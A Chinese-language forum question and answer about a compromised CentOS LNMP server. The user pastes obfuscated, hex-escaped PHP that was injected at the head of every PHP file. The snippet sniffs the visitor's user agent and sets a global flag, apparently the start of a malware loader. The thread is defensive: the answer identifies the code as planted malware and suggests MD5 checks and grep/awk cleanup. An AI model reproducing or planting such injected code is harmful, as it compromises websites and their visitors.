PHP文件开头被加了代码
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nnurvqqmik = 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$nnurvqqmik=$qupcmlntsi-1; ?>
所有PHP文件头部都被加了代码,求解决:
1、查看了文件时间,没有变,但是文件还是被加了上面那段代码
2、那代码能看出是想做什么事情么
3、大概有哪方面的原因会被修改,环境是 CentOS LNMP
4、如果查不到原因,能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法,求写法
DannyR
10 years, 2 months ago
Answers
这行太长了,fx 卡了半天……
不论如何,被加都不是好东西,极有可能是被黑之后挂马的代码。立即清除不要犹豫。
文件修改时间不是判断标准,只有md5 才是准确的。如果文件md5 被变更,立即停服排查原因补漏洞。
根据特征,搜索了一下,最早发现一年前就有案例( http://www.v2ex.com/t/94586 and http://www.linuxquestions.org/questions/linux-server-73/some-virus-malware-in-my-php-script-4175516386-print/ )
如何删除很简单啊, Linux使用GREP,awk删除指定行
哥尔·D·罗杰
answered 10 years, 2 months ago